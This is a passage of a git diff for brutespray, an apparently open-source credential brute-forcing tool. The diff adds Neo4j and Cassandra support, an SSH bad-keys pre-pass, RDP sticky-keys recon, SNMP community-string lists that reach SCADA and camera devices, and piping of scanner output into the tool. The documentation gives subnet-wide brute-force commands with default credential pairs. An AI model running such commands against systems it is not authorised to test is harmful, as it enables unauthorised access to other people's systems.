+| neo4j | 7687 | Beta | Bolt v5 protocol (gocql); proxy/iface routing not applied |
+| cassandra | 9042 | Beta | CQL native protocol with PasswordAuthenticator |
| vnc | 5900 | Stable | Password-only auth (no username) |
| snmp | 161 | Stable | Supports v1/v2c (default) and v3 (`-m version:3`) |
| smbnt | 445 | Stable | Use `-d DOMAIN` for domain auth |
diff --git a/docs/usage.md b/docs/usage.md
index a0271db..0063602 100644
--- a/docs/usage.md
+++ b/docs/usage.md
@@ -40,6 +40,10 @@
| `--allow-wrapper` | Allow wrapper module to execute commands | `--allow-wrapper` |
| `--output-format` | Per-attempt output format: text (default) or json | `--output-format json` |
| `--proxy-list` | File with proxy list for rotation (one per line) | `--proxy-list proxies.txt` |
+| `--no-badkeys` | Skip the embedded SSH bad-keys pre-pass | `--no-badkeys` |
+| `--badkeys-only` | Run the embedded SSH bad-keys pre-pass only; skip passwords | `--badkeys-only` |
+| `--no-rdp-scan` | Skip pre-auth RDP recon (NLA + sticky-keys) | `--no-rdp-scan` |
+| `-c`, `--creds` | Inline credential pairs, comma-separated: `admin:admin,root:toor` | `-c admin:admin,root:toor` |
## YAML Config File
@@ -189,3 +193,16 @@ root:root
admin:admin
user1:password123
```
+
+### Reading targets from stdin
+
+When `-f` is not supplied and stdin is a pipe, brutespray reads targets
+from stdin and auto-detects the input format (naabu line, Nerva URI,
+Nerva JSON, fingerprintx JSON, masscan JSON). The target list is
+appended to whatever `-H` arguments were given on the CLI.
+
+```
+naabu -host 10.0.0.0/24 -p 22 -silent | brutespray -u root -P wordlist/ssh/password
+masscan -p22,3389 10.0.0.0/24 -oJ - | brutespray -u admin -p admin
+fingerprintx -t 10.0.0.0/24 --json | brutespray --no-badkeys
+```
diff --git a/docs/wordlists.md b/docs/wordlists.md
index d3b70f0..e51d6d7 100644
--- a/docs/wordlists.md
+++ b/docs/wordlists.md
@@ -140,3 +140,22 @@ brutespray wordlist research # AI-powered wordlist research via Ollama
brutespray wordlist merge # Merge research candidates into wordlists
brutespray wordlist download -o path # Download rockyou.txt
```
+
+## SNMP community-string tiers
+
+The `snmp` module ships three embedded tiers of community strings, selected
+via `-m mode:`. Default behavior (no `-m mode`) uses the operator's
+`-u` / `-p` values as community strings (legacy mode); the tiers replace
+that with a curated list:
+
+| Tier | Size | Contents |
+|---|---|---|
+| `default` | 20 | classic public/private/cisco-style community strings |
+| `extended` | 55 | + per-vendor (Cisco / HP / Juniper) enterprise defaults |
+| `full` | 92 | + SCADA controllers, IP cameras, NAS / storage arrays |
+
+Example:
+
+```
+brutespray -s snmp -H 10.0.0.0/24 -m mode:full
+```
diff --git a/go.mod b/go.mod
index e67ad45..f5bed86 100644
--- a/go.mod
+++ b/go.mod
@@ -13,19 +13,21 @@ require (
github.com/go-ldap/ldap/v3 v3.4.13
github.com/go-redis/redis/v8 v8.11.5
github.com/go-sql-driver/mysql v1.9.3
+ github.com/gocql/gocql v1.7.0
github.com/gosnmp/gosnmp v1.43.2
github.com/hirochachacha/go-smb2 v1.1.0
github.com/jlaffaye/ftp v0.2.0
github.com/lib/pq v1.12.3
github.com/masterzen/winrm v0.0.0-20250927112105-5f8e6c707321
github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed
+ github.com/neo4j/neo4j-go-driver/v5 v5.28.4
github.com/pterm/pterm v0.12.83
github.com/sijms/go-ora/v2 v2.9.0
- github.com/x90skysn3k/grdp v1.0.2
+ github.com/x90skysn3k/grdp v1.0.3
go.mongodb.org/mongo-driver v1.17.9
- golang.org/x/crypto v0.50.0
- golang.org/x/net v0.53.0
- golang.org/x/term v0.42.0
+ golang.org/x/crypto v0.51.0
+ golang.org/x/net v0.55.0
+ golang.org/x/term v0.43.0
gopkg.in/yaml.v3 v3.0.1
gosrc.io/xmpp v0.5.1
)
@@ -59,6 +61,7 @@ require (
github.com/golang/snappy v1.0.0 // indirect
github.com/google/uuid v1.6.0 // indirect
github.com/gookit/color v1.6.0 // indirect
+ github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-cleanhttp v0.5.2 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
@@ -89,8 +92,9 @@ require (
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect
github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 // indirect
golang.org/x/sync v0.20.0 // indirect
- golang.org/x/sys v0.43.0 // indirect
- golang.org/x/text v0.36.0 // indirect
+ golang.org/x/sys v0.45.0 // indirect
+ golang.org/x/text v0.37.0 // indirect
golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da // indirect
+ gopkg.in/inf.v0 v0.9.1 // indirect
nhooyr.io/websocket v1.8.17 // indirect
)
diff --git a/go.sum b/go.sum
index 7cac90a..70c121f 100644
--- a/go.sum
+++ b/go.sum
@@ -30,6 +30,10 @@ github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1L
github.com/atomicgo/cursor v0.0.1/go.mod h1:cBON2QmmrysudxNBFthvMtN32r3jxVRIvzkUiF/RuIk=
github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k=
github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8=
+github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932 h1:mXoPYz/Ul5HYEDvkta6I8/rnYM5gSdSV2tJ6XbZuEtY=
+github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932/go.mod h1:NOuUCSz6Q9T7+igc/hlvDOUdtWKryOrtFyIVABv/p7k=
+github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 h1:DDGfHa7BWjL4YnC6+E63dPcxHo2sUxDIu8g3QgEJdRY=
+github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4=
github.com/bodgit/ntlmssp v0.0.0-20240506230425-31973bb52d9b h1:baFN6AnR0SeC194X2D292IUZcHDs4JjStpqtE70fjXE=
github.com/bodgit/ntlmssp v0.0.0-20240506230425-31973bb52d9b/go.mod h1:Ram6ngyPDmP+0t6+4T2rymv0w0BS9N8Ch5vvUJccw5o=
github.com/bodgit/windows v1.0.1 h1:tF7K6KOluPYygXa3Z2594zxlkbKPAOvqr97etrGNIz4=
@@ -106,6 +110,8 @@ github.com/go-sql-driver/mysql v1.9.3/go.mod h1:qn46aNg1333BRMNU69Lq93t8du/dwxI6
github.com/gobwas/httphead v0.0.0-20180130184737-2c6c146eadee/go.mod h1:L0fX3K22YWvt/FAX9NnzrNzcI4wNYi9Yku4O0LKYflo=
github.com/gobwas/pool v0.2.0/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
github.com/gobwas/ws v1.0.2/go.mod h1:szmBTxLgaFppYjEmNtny/v3w89xOydFnnZMcgRRu/EM=
+github.com/gocql/gocql v1.7.0 h1:O+7U7/1gSN7QTEAaMEsJc1Oq2QHXvCWoF3DFK9HDHus=
+github.com/gocql/gocql v1.7.0/go.mod h1:vnlvXyFZeLBF0Wy+RS8hrOdbn0UWsWtdg07XJnFxZ+4=
github.com/gofrs/uuid v4.4.0+incompatible h1:3qXRTX8/NbyulANqlc0lchS1gqAVxRgsuW1YrTJupqA=
github.com/gofrs/uuid v4.4.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
@@ -115,6 +121,7 @@ github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei
github.com/golang-sql/sqlexp v0.1.0/go.mod h1:J4ad9Vo8ZCWQ2GMrC4UCQy1JpCbwU9m3EOqtpKwwwHI=
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
+github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/golang/snappy v1.0.0 h1:Oy607GVXHs7RtbggtPBnr2RmDArIsAefDwvrdWvRhGs=
github.com/golang/snappy v1.0.0/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
@@ -138,6 +145,8 @@ github.com/gorilla/sessions v1.2.1 h1:DHd3rPN5lE3Ts3D8rKkQ8x/0kqfeNmBAaiSi+o7Fsg
github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM=
github.com/gosnmp/gosnmp v1.43.2 h1:F9loz6uMCNtIQj0RNO5wz/mZ+FZt2WyNKJYOvw+Zosw=
github.com/gosnmp/gosnmp v1.43.2/go.mod h1:smHIwoaqr1M+HTAEd7+mKkPs8lp3Lf/U+htPUql1Q3c=
+github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed h1:5upAirOpQc1Q53c0bnx2ufif5kANL7bfZWcc6VJWJd8=
+github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed/go.mod h1:tMWxXQ9wFIaZeTI9F+hmhFiGpFmhOHzyShyFUhRm0H4=
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=
github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
@@ -221,6 +230,8 @@ github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELU
github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo=
github.com/muesli/termenv v0.16.0 h1:S5AlUN9dENB57rsbnkPyfdGuWIlkmzJjbFf0Tf5FWUc=
github.com/muesli/termenv v0.16.0/go.mod h1:ZRfOIKPFDYQoDFF4Olj7/QJbW60Ol/kL1pU3VfY/Cnk=
+github.com/neo4j/neo4j-go-driver/v5 v5.28.4 h1:7toxehVcYkZbyxV4W3Ib9VcnyRBQPucF+VwNNmtSXi4=
+github.com/neo4j/neo4j-go-driver/v5 v5.28.4/go.mod h1:Vff8OwT7QpLm7L2yYr85XNWe9Rbqlbeb9asNXJTHO4k=
github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE=
github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU=
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
@@ -272,8 +283,8 @@ github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD
github.com/tidwall/transform v0.0.0-20201103190739-32f242e2dbde h1:AMNpJRc7P+GTwVbl8DkK2I9I8BBUzNiHuH/tlxrpan0=
github.com/tidwall/transform v0.0.0-20201103190739-32f242e2dbde/go.mod h1:MvrEmduDUz4ST5pGZ7CABCnOU5f3ZiOAZzT6b1A6nX8=
github.com/twitchyliquid64/golang-asm v0.0.0-20190126203739-365674df15fc/go.mod h1:NoCfSFWosfqMqmmD7hApkirIK9ozpHjxRnRxs1l413A=
-github.com/x90skysn3k/grdp v1.0.2 h1:HkhPK1rDAbSyZY6OEqxOLA/FPly15IBVnVgzAnS7fCY=
-github.com/x90skysn3k/grdp v1.0.2/go.mod h1:brKUl7Rx/wJ9hA3ZlHa9+zC14ye/GrCQKbGW3si7/yE=
+github.com/x90skysn3k/grdp v1.0.3 h1:K7BOs8fY/GdOv5Z3yez0gb7s8UOT4j0fIE3h1oPwWn0=
+github.com/x90skysn3k/grdp v1.0.3/go.mod h1:H/Klzfgyv7SAj3wtrAAxlfBlUXW+Ck0YZ92wetZTPcA=
github.com/xdg-go/pbkdf2 v1.0.0 h1:Su7DPu48wXMwC3bs7MCNG+z4FhcyEuz5dlvchbq0B0c=
github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI=
github.com/xdg-go/scram v1.2.0 h1:bYKF2AEwG5rqd1BumT4gAnvwU/M9nBp2pTSxeZw7Wvs=
@@ -298,8 +309,8 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
-golang.org/x/crypto v0.50.0 h1:zO47/JPrL6vsNkINmLoo/PH1gcxpls50DNogFvB5ZGI=
-golang.org/x/crypto v0.50.0/go.mod h1:3muZ7vA7PBCE6xgPX7nkzzjiUq87kRItoJQM1Yo8S+Q=
+golang.org/x/crypto v0.51.0 h1:IBPXwPfKxY7cWQZ38ZCIRPI50YLeevDLlLnyC5wRGTI=
+golang.org/x/crypto v0.51.0/go.mod h1:8AdwkbraGNABw2kOX6YFPs3WM22XqI4EXEd8g+x7Oc8=
golang.org/x/exp v0.0.0-20231006140011-7918f672742d h1:jtJma62tbqLibJ5sFQz8bKtEM8rJBtfilJ2qTU199MI=
golang.org/x/exp v0.0.0-20231006140011-7918f672742d/go.mod h1:ldy0pHrwJyGW56pPQzzkH36rKxoZW1tw7ZJpeKx+hdo=
golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
@@ -317,8 +328,8 @@ golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qx
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
-golang.org/x/net v0.53.0 h1:d+qAbo5L0orcWAr0a9JweQpjXF19LMXJE8Ey7hwOdUA=
-golang.org/x/net v0.53.0/go.mod h1:JvMuJH7rrdiCfbeHoo3fCQU24Lf5JJwT9W3sJFulfgs=
+golang.org/x/net v0.55.0 h1:bcvxaJn3e1U6InsFWt1JUq1aSjnRxLzT2rtD2KfkDF8=
+golang.org/x/net v0.55.0/go.mod h1:L5U2KuzuOe1lY7Z+aWVIKK6qEeJXnXV9yzGA+WCHJww=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
@@ -349,15 +360,15 @@ golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI=
-golang.org/x/sys v0.43.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
+golang.org/x/sys v0.45.0 h1:dO4czNzziLiiXplLQgBCEpCvXQ3dnkn0SdaZSYdQ+FY=
+golang.org/x/sys v0.45.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210615171337-6886f2dfbf5b/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
-golang.org/x/term v0.42.0 h1:UiKe+zDFmJobeJ5ggPwOshJIVt6/Ft0rcfrXZDLWAWY=
-golang.org/x/term v0.42.0/go.mod h1:Dq/D+snpsbazcBG5+F9Q1n2rXV8Ma+71xEjTRufARgY=
+golang.org/x/term v0.43.0 h1:S4RLU2sB31O/NCl+zFN9Aru9A/Cq2aqKpTZJ6B+DwT4=
+golang.org/x/term v0.43.0/go.mod h1:lrhlHNdQJHO+1qVYiHfFKVuVioJIheAc3fBSMFYEIsk=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
@@ -365,8 +376,8 @@ golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ=
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
-golang.org/x/text v0.36.0 h1:JfKh3XmcRPqZPKevfXVpI1wXPTqbkE5f7JA92a55Yxg=
-golang.org/x/text v0.36.0/go.mod h1:NIdBknypM8iqVmPiuco0Dh6P5Jcdk8lJL0CUebqK164=
+golang.org/x/text v0.37.0 h1:Cqjiwd9eSg8e0QAkyCaQTNHFIIzWtidPahFWR83rTrc=
+golang.org/x/text v0.37.0/go.mod h1:a5sjxXGs9hsn/AJVwuElvCAo9v8QYLzvavO5z2PiM38=
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
@@ -384,6 +395,8 @@ gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogR
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
gopkg.in/gemnasium/logrus-airbrake-hook.v2 v2.1.2/go.mod h1:Xk6kEKp8OKb+X14hQBKWaSkCsqBpgog8nAV2xsGOxlo=
+gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc=
+gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
diff --git a/modules/output.go b/modules/output.go
index abf655c..3869f12 100644
--- a/modules/output.go
+++ b/modules/output.go
@@ -414,6 +414,98 @@ func PrintResult(service string, host string, port int, user string, pass string
}
}
+// FindingSink routes a finding line to the TUI when in TUI mode. Set by
+// brutespray.executeTUI() — mirrors ErrorSink.
+// NOTE: FindingSink is declared here but not yet wired to a TUI sink tab —
+// that wiring happens in Task A9 when the TUI Findings tab lands. Until then
+// it remains nil and TUI mode falls back to the standard text path.
+var FindingSink func(severity, code, service, target, message, cve string)
+
+// WriteFinding renders a pre-auth recon finding. The output channel is
+// chosen by OutputFormatMode + TUIMode: JSONL when format=="json", a TUI
+// event when TUIMode is on with FindingSink wired, otherwise a colored
+// stdout line. Primitive args to avoid a modules→brute import cycle.
+func WriteFinding(severity, code, service, host string, port int, message, cve string) {
+ target := fmt.Sprintf("%s:%d", host, port)
+ if OutputFormatMode == "json" {
+ rec := map[string]any{
+ "type": "finding",
+ "severity": severity,
+ "code": code,
+ "service": service,
+ "target": target,
+ "message": message,
+ }
+ if cve != "" {
+ rec["cve"] = cve
+ }
+ _ = json.NewEncoder(os.Stdout).Encode(rec)
+ return
+ }
+ if TUIMode && FindingSink != nil {
+ FindingSink(severity, code, service, target, message, cve)
+ return
+ }
+ if Silent {
+ return
+ }
+ cveTrailer := ""
+ if cve != "" {
+ cveTrailer = " (" + cve + ")"
+ }
+ if NoColorMode {
+ fmt.Printf("[%s] %s %s %s%s\n", severity, service, target, message, cveTrailer)
+ return
+ }
+ color := pterm.FgYellow
+ switch severity {
+ case "CRITICAL":
+ color = pterm.FgRed
+ case "HIGH":
+ color = pterm.FgLightRed
+ case "WARN":
+ color = pterm.FgYellow
+ case "INFO":
+ color = pterm.FgCyan
+ }
+ PrintfColored(color, "[%s] %s %s %s%s\n", severity, service, target, message, cveTrailer)
+}
+
+// PrintBadKeyResult renders a successful SSH bad-key match. Distinct from
+// PrintResult so the message clearly signals embedded-bundle authentication.
+// In JSON mode produces a JSONL "badkey" record.
+func PrintBadKeyResult(service, host string, port int, user, vendor, cve, description string) {
+ target := fmt.Sprintf("%s:%d", host, port)
+ if OutputFormatMode == "json" {
+ rec := map[string]any{
+ "type": "badkey",
+ "service": service,
+ "target": target,
+ "username": user,
+ "vendor": vendor,
+ "description": description,
+ }
+ if cve != "" {
+ rec["cve"] = cve
+ }
+ _ = json.NewEncoder(os.Stdout).Encode(rec)
+ return
+ }
+ if Silent {
+ return
+ }
+ cveTrailer := ""
+ if cve != "" {
+ cveTrailer = " (" + cve + ")"
+ }
+ msg := fmt.Sprintf("[+] BADKEY %s %s@%s %s%s\n", service, user, target, vendor, cveTrailer)
+ if NoColorMode {
+ fmt.Print(msg)
+ return
+ }
+ PrintfColored(pterm.FgLightGreen, "%s", msg)
+}
+
// PrintWarningBeta prints beta service warnings
func PrintWarningBeta(service string) {
if TUIMode {
diff --git a/modules/output_finding_test.go b/modules/output_finding_test.go
new file mode 100644
index 0000000..c9ebb4e
--- /dev/null
+++ b/modules/output_finding_test.go
@@ -0,0 +1,85 @@
+package modules
+
+import (
+ "bytes"
+ "encoding/json"
+ "io"
+ "os"
+ "strings"
+ "testing"
+)
+
+func captureStdoutModules(fn func()) string {
+ old := os.Stdout
+ r, w, _ := os.Pipe()
+ os.Stdout = w
+ fn()
+ w.Close()
+ os.Stdout = old
+ var buf bytes.Buffer
+ _, _ = io.Copy(&buf, r)
+ return buf.String()
+}
+
+func TestWriteFindingTextMode(t *testing.T) {
+ OutputFormatMode = "text"
+ NoColorMode = true
+ defer func() { NoColorMode = false }()
+ out := captureStdoutModules(func() {
+ WriteFinding("WARN", "rdp-nla-missing", "rdp", "10.0.0.5", 3389, "NLA not enforced", "")
+ })
+ for _, want := range []string{"WARN", "rdp", "10.0.0.5:3389", "NLA not enforced"} {
+ if !strings.Contains(out, want) {
+ t.Fatalf("missing %q: %s", want, out)
+ }
+ }
+}
+
+func TestWriteFindingJSONMode(t *testing.T) {
+ OutputFormatMode = "json"
+ defer func() { OutputFormatMode = "text" }()
+ out := captureStdoutModules(func() {
+ WriteFinding("CRITICAL", "rdp-stickykeys", "rdp", "10.0.0.5", 3389, "backdoor", "")
+ })
+ var got struct {
+ Type, Severity, Code, Service, Target string
+ }
+ if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &got); err != nil {
+ t.Fatalf("invalid JSON: %v\n%s", err, out)
+ }
+ if got.Type != "finding" || got.Severity != "CRITICAL" || got.Code != "rdp-stickykeys" {
+ t.Fatalf("wrong fields: %+v", got)
+ }
+ if got.Target != "10.0.0.5:3389" {
+ t.Fatalf("target = %q", got.Target)
+ }
+}
+
+func TestWriteFindingIncludesCVE(t *testing.T) {
+ OutputFormatMode = "json"
+ defer func() { OutputFormatMode = "text" }()
+ out := captureStdoutModules(func() {
+ WriteFinding("INFO", "ssh-badkey", "ssh", "10.0.0.5", 22, "F5 key", "CVE-2012-1493")
+ })
+ if !strings.Contains(out, "CVE-2012-1493") {
+ t.Fatalf("CVE missing: %s", out)
+ }
+}
+
+func TestPrintBadKeyResultJSON(t *testing.T) {
+ OutputFormatMode = "json"
+ defer func() { OutputFormatMode = "text" }()
+ out := captureStdoutModules(func() {
+ PrintBadKeyResult("ssh", "10.0.0.5", 22, "vagrant",
+ "HashiCorp Vagrant", "", "Vagrant insecure default key")
+ })
+ var got struct {
+ Type, Vendor string
+ }
+ if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &got); err != nil {
+ t.Fatalf("invalid JSON: %v\n%s", err, out)
+ }
+ if got.Type != "badkey" || got.Vendor != "HashiCorp Vagrant" {
+ t.Fatalf("wrong fields: %+v", got)
+ }
+}
diff --git a/modules/parse.go b/modules/parse.go
index 9d20579..25b0bbe 100644
--- a/modules/parse.go
+++ b/modules/parse.go
@@ -121,6 +121,68 @@ func MapService(service string) string {
return service
}
+// defaultServiceForPort returns brutespray's canonical service name for a
+// well-known port, or "" when the port has no default mapping. Used by
+// stream parsers (masscan JSON, naabu line) that supply only host:port and
+// need to fill in the service.
+func defaultServiceForPort(port int) string {
+ switch port {
+ case 21:
+ return "ftp"
+ case 22:
+ return "ssh"
+ case 23:
+ return "telnet"
+ case 25, 587:
+ return "smtp"
+ case 80:
+ return "http"
+ case 110:
+ return "pop3"
+ case 143:
+ return "imap"
+ case 161:
+ return "snmp"
+ case 389:
+ return "ldap"
+ case 443:
+ return "https"
+ case 445:
+ return "smbnt"
+ case 636:
+ return "ldaps"
+ case 1433:
+ return "mssql"
+ case 1521:
+ return "oracle"
+ case 3306:
+ return "mysql"
+ case 3389:
+ return "rdp"
+ case 5432:
+ return "postgres"
+ case 5900, 5901, 5902:
+ return "vnc"
+ case 5984:
+ return "couchdb"
+ case 5985, 5986:
+ return "winrm"
+ case 6379:
+ return "redis"
+ case 7687:
+ return "neo4j"
+ case 8086:
+ return "influxdb"
+ case 9042:
+ return "cassandra"
+ case 9200:
+ return "elasticsearch"
+ case 27017:
+ return "mongodb"
+ }
+ return ""
+}
+
// supportedScanServices is the canonical list of nmap/scanner service names
// that brutespray recognises from scan input files. Names are pre-mapping
// (i.e. the raw names scanners emit); MapService() converts them to
diff --git a/modules/parse_masscan.go b/modules/parse_masscan.go
new file mode 100644
index 0000000..53867ba
--- /dev/null
+++ b/modules/parse_masscan.go
@@ -0,0 +1,43 @@
+package modules
+
+import (
+ "encoding/json"
+ "fmt"
+ "io"
+)
+
+type masscanPort struct {
+ Port int `json:"port"`
+ Proto string `json:"proto"`
+ Status string `json:"status"`
+}
+
+type masscanHost struct {
+ IP string `json:"ip"`
+ Ports []masscanPort `json:"ports"`
+}
+
+// ParseMasscanJSON reads masscan -oJ output (a JSON array of host objects,
